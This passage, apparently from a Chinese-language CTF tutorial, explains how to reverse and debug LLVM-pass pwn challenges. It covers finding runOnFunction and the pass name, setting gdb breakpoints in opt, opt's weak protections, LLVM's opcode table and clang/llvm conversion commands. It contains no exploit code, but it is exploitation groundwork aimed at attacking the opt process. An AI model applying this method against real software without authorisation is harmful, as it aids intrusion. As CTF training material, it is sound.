LOAD:000000000020DD98 D0 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass14verifyAnalysisEv ; llvm::Pass::verifyAnalysis(void)
LOAD:000000000020DDA0 98 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass17dumpPassStructureEj ; llvm::Pass::dumpPassStructure(uint)
LOAD:000000000020DDA8 30 68 00 00 00 00 00 00 dq offset sub_6830
LOAD:000000000020DDB0 ; public `anonymous namespace'::VMPass

一般最后一项就是重写的runOnFunction函数

至于PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数“交叉引用”来定位:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int start()
{
int v1; // [rsp+18h] [rbp-68h]
int v2; // [rsp+28h] [rbp-58h]

if ( "VMPass" )
v2 = strlen("VMPass");
else
v2 = 0;
if ( "VMPass" )
v1 = strlen("VMPass");
else
v1 = 0;
sub_6510((unsigned int)&unk_20E990, (unsigned int)"VMPass", v2, (unsigned int)"VMPass", v1, 0, 0);
return __cxa_atexit(func, &unk_20E990, &off_20E548);
}

gdb调试

一般调试对象都是题目给定的opt,调试的步骤一般是

gdb ./opt-8进入调试

之后set args -load ./VMPass.so -VMPass ./exp.ll配置参数

opt会在一系列初始化函数(gdb调试非常明显的一大坨)之后的第一个call映射so共享模块

1
2
3
4
0x7ffff3b5d000     0x7ffff3b6b000 r-xp     e000      0 /home/aichch/pwn/redhat21-simpVM/VMPass.so
0x7ffff3b6b000 0x7ffff3d6a000 ---p 1ff000 e000 /home/aichch/pwn/redhat21-simpVM/VMPass.so
0x7ffff3d6a000 0x7ffff3d6b000 r--p 1000 d000 /home/aichch/pwn/redhat21-simpVM/VMPass.so
0x7ffff3d6b000 0x7ffff3d6c000 rw-p 1000 e000 /home/aichch/pwn/redhat21-simpVM/VMPass.so

在第一个地址起始处加上so中的偏移便能够下断点进行调试了

opt是在llvm::legacy::PassManager::run(llvm::Module&)处开始进行对RunonFunction的调用

然后在其内部这个位置进入llvm::FPPassManager::runOnModule(llvm::Module&)

之后便正式进入llvm::FPPassManager::runOnFunction(llvm::Function&)

最后调用重写的RunOnFunction

opt

llvm_pass类题目其其实就是针对opt这个文件

利用so模块中注册的PASS类中的漏洞去pwn攻击opt进程

opt的保护一般都是这种情况

1
2
3
4
5
6
[*] '/home/aichch/pwn/qwb2022-yakagame/opt-8'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
//===-- llvm/Instruction.def - File that describes Instructions -*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains descriptions of the various LLVM instructions. This is
// used as a central place for enumerating the different instructions and
// should eventually be the place to put comments about the instructions.
//
//===----------------------------------------------------------------------===//

// NOTE: NO INCLUDE GUARD DESIRED!

// Provide definitions of macros so that users of this file do not have to
// define everything to use it...
//
#ifndef FIRST_TERM_INST
#define FIRST_TERM_INST(num)
#endif
#ifndef HANDLE_TERM_INST
#ifndef HANDLE_INST
#define HANDLE_TERM_INST(num, opcode, Class)
#else
#define HANDLE_TERM_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_TERM_INST
#define LAST_TERM_INST(num)
#endif

#ifndef FIRST_UNARY_INST
#define FIRST_UNARY_INST(num)
#endif
#ifndef HANDLE_UNARY_INST
#ifndef HANDLE_INST
#define HANDLE_UNARY_INST(num, opcode, instclass)
#else
#define HANDLE_UNARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_UNARY_INST
#define LAST_UNARY_INST(num)
#endif

#ifndef FIRST_BINARY_INST
#define FIRST_BINARY_INST(num)
#endif
#ifndef HANDLE_BINARY_INST
#ifndef HANDLE_INST
#define HANDLE_BINARY_INST(num, opcode, instclass)
#else
#define HANDLE_BINARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_BINARY_INST
#define LAST_BINARY_INST(num)
#endif

#ifndef FIRST_MEMORY_INST
#define FIRST_MEMORY_INST(num)
#endif
#ifndef HANDLE_MEMORY_INST
#ifndef HANDLE_INST
#define HANDLE_MEMORY_INST(num, opcode, Class)
#else
#define HANDLE_MEMORY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_MEMORY_INST
#define LAST_MEMORY_INST(num)
#endif

#ifndef FIRST_CAST_INST
#define FIRST_CAST_INST(num)
#endif
#ifndef HANDLE_CAST_INST
#ifndef HANDLE_INST
#define HANDLE_CAST_INST(num, opcode, Class)
#else
#define HANDLE_CAST_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_CAST_INST
#define LAST_CAST_INST(num)
#endif

#ifndef FIRST_FUNCLETPAD_INST
#define FIRST_FUNCLETPAD_INST(num)
#endif
#ifndef HANDLE_FUNCLETPAD_INST
#ifndef HANDLE_INST
#define HANDLE_FUNCLETPAD_INST(num, opcode, Class)
#else
#define HANDLE_FUNCLETPAD_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_FUNCLETPAD_INST
#define LAST_FUNCLETPAD_INST(num)
#endif

#ifndef FIRST_OTHER_INST
#define FIRST_OTHER_INST(num)
#endif
#ifndef HANDLE_OTHER_INST
#ifndef HANDLE_INST
#define HANDLE_OTHER_INST(num, opcode, Class)
#else
#define HANDLE_OTHER_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_OTHER_INST
#define LAST_OTHER_INST(num)
#endif

#ifndef HANDLE_USER_INST
#define HANDLE_USER_INST(num, opc, Class) HANDLE_OTHER_INST(num, opc, Class)
#endif

// Terminator Instructions - These instructions are used to terminate a basic
// block of the program. Every basic block must end with one of these
// instructions for it to be a well formed basic block.
//
FIRST_TERM_INST ( 1)
HANDLE_TERM_INST ( 1, Ret , ReturnInst)
HANDLE_TERM_INST ( 2, Br , BranchInst)
HANDLE_TERM_INST ( 3, Switch , SwitchInst)
HANDLE_TERM_INST ( 4, IndirectBr , IndirectBrInst)
HANDLE_TERM_INST ( 5, Invoke , InvokeInst)
HANDLE_TERM_INST ( 6, Resume , ResumeInst)
HANDLE_TERM_INST ( 7, Unreachable , UnreachableInst)
HANDLE_TERM_INST ( 8, CleanupRet , CleanupReturnInst)
HANDLE_TERM_INST ( 9, CatchRet , CatchReturnInst)
HANDLE_TERM_INST (10, CatchSwitch , CatchSwitchInst)
LAST_TERM_INST (10)

// Standard unary operators...
FIRST_UNARY_INST(11)
HANDLE_UNARY_INST(11, FNeg , UnaryOperator)
LAST_UNARY_INST(11)

// Standard binary operators...
FIRST_BINARY_INST(12)
HANDLE_BINARY_INST(12, Add , BinaryOperator)
HANDLE_BINARY_INST(13, FAdd , BinaryOperator)
HANDLE_BINARY_INST(14, Sub , BinaryOperator)
HANDLE_BINARY_INST(15, FSub , BinaryOperator)
HANDLE_BINARY_INST(16, Mul , BinaryOperator)
HANDLE_BINARY_INST(17, FMul , BinaryOperator)
HANDLE_BINARY_INST(18, UDiv , BinaryOperator)
HANDLE_BINARY_INST(19, SDiv , BinaryOperator)
HANDLE_BINARY_INST(20, FDiv , BinaryOperator)
HANDLE_BINARY_INST(21, URem , BinaryOperator)
HANDLE_BINARY_INST(22, SRem , BinaryOperator)
HANDLE_BINARY_INST(23, FRem , BinaryOperator)

// Logical operators (integer operands)
HANDLE_BINARY_INST(24, Shl , BinaryOperator) // Shift left (logical)
HANDLE_BINARY_INST(25, LShr , BinaryOperator) // Shift right (logical)
HANDLE_BINARY_INST(26, AShr , BinaryOperator) // Shift right (arithmetic)
HANDLE_BINARY_INST(27, And , BinaryOperator)
HANDLE_BINARY_INST(28, Or , BinaryOperator)
HANDLE_BINARY_INST(29, Xor , BinaryOperator)
LAST_BINARY_INST(29)

// Memory operators...
FIRST_MEMORY_INST(30)
HANDLE_MEMORY_INST(30, Alloca, AllocaInst) // Stack management
HANDLE_MEMORY_INST(31, Load , LoadInst ) // Memory manipulation instrs
HANDLE_MEMORY_INST(32, Store , StoreInst )
HANDLE_MEMORY_INST(33, GetElementPtr, GetElementPtrInst)
HANDLE_MEMORY_INST(34, Fence , FenceInst )
HANDLE_MEMORY_INST(35, AtomicCmpXchg , AtomicCmpXchgInst )
HANDLE_MEMORY_INST(36, AtomicRMW , AtomicRMWInst )
LAST_MEMORY_INST(36)

// Cast operators ...
// NOTE: The order matters here because CastInst::isEliminableCastPair
// NOTE: (see Instructions.cpp) encodes a table based on this ordering.
FIRST_CAST_INST(37)
HANDLE_CAST_INST(37, Trunc , TruncInst ) // Truncate integers
HANDLE_CAST_INST(38, ZExt , ZExtInst ) // Zero extend integers
HANDLE_CAST_INST(39, SExt , SExtInst ) // Sign extend integers
HANDLE_CAST_INST(40, FPToUI , FPToUIInst ) // floating point -> UInt
HANDLE_CAST_INST(41, FPToSI , FPToSIInst ) // floating point -> SInt
HANDLE_CAST_INST(42, UIToFP , UIToFPInst ) // UInt -> floating point
HANDLE_CAST_INST(43, SIToFP , SIToFPInst ) // SInt -> floating point
HANDLE_CAST_INST(44, FPTrunc , FPTruncInst ) // Truncate floating point
HANDLE_CAST_INST(45, FPExt , FPExtInst ) // Extend floating point
HANDLE_CAST_INST(46, PtrToInt, PtrToIntInst) // Pointer -> Integer
HANDLE_CAST_INST(47, IntToPtr, IntToPtrInst) // Integer -> Pointer
HANDLE_CAST_INST(48, BitCast , BitCastInst ) // Type cast
HANDLE_CAST_INST(49, AddrSpaceCast, AddrSpaceCastInst) // addrspace cast
LAST_CAST_INST(49)

FIRST_FUNCLETPAD_INST(50)
HANDLE_FUNCLETPAD_INST(50, CleanupPad, CleanupPadInst)
HANDLE_FUNCLETPAD_INST(51, CatchPad , CatchPadInst)
LAST_FUNCLETPAD_INST(51)

// Other operators...
FIRST_OTHER_INST(52)
HANDLE_OTHER_INST(52, ICmp , ICmpInst ) // Integer comparison instruction
HANDLE_OTHER_INST(53, FCmp , FCmpInst ) // Floating point comparison instr.
HANDLE_OTHER_INST(54, PHI , PHINode ) // PHI node instruction
HANDLE_OTHER_INST(55, Call , CallInst ) // Call a function
HANDLE_OTHER_INST(56, Select , SelectInst ) // select instruction
HANDLE_USER_INST (57, UserOp1, Instruction) // May be used internally in a pass
HANDLE_USER_INST (58, UserOp2, Instruction) // Internal to passes only
HANDLE_OTHER_INST(59, VAArg , VAArgInst ) // vaarg instruction
HANDLE_OTHER_INST(60, ExtractElement, ExtractElementInst)// extract from vector
HANDLE_OTHER_INST(61, InsertElement, InsertElementInst) // insert into vector
HANDLE_OTHER_INST(62, ShuffleVector, ShuffleVectorInst) // shuffle two vectors.
HANDLE_OTHER_INST(63, ExtractValue, ExtractValueInst)// extract from aggregate
HANDLE_OTHER_INST(64, InsertValue, InsertValueInst) // insert into aggregate
HANDLE_OTHER_INST(65, LandingPad, LandingPadInst) // Landing pad instruction.
LAST_OTHER_INST(65)

#undef FIRST_TERM_INST
#undef HANDLE_TERM_INST
#undef LAST_TERM_INST

#undef FIRST_UNARY_INST
#undef HANDLE_UNARY_INST
#undef LAST_UNARY_INST

#undef FIRST_BINARY_INST
#undef HANDLE_BINARY_INST
#undef LAST_BINARY_INST

#undef FIRST_MEMORY_INST
#undef HANDLE_MEMORY_INST
#undef LAST_MEMORY_INST

#undef FIRST_CAST_INST
#undef HANDLE_CAST_INST
#undef LAST_CAST_INST

#undef FIRST_FUNCLETPAD_INST
#undef HANDLE_FUNCLETPAD_INST
#undef LAST_FUNCLETPAD_INST

#undef FIRST_OTHER_INST
#undef HANDLE_OTHER_INST
#undef LAST_OTHER_INST

#undef HANDLE_USER_INST

#ifdef HANDLE_INST
#undef HANDLE_INST
#endif

格式转化

1
2
3
4
5
.c -> .ll:clang -emit-llvm -S a.c -o a.ll
.c -> .bc: clang -emit-llvm -c a.c -o a.bc
.ll -> .bc: llvm-as a.ll -o a.bc
.bc -> .ll: llvm-dis a.bc -o a.ll
.bc -> .s: llc a.bc -o a.s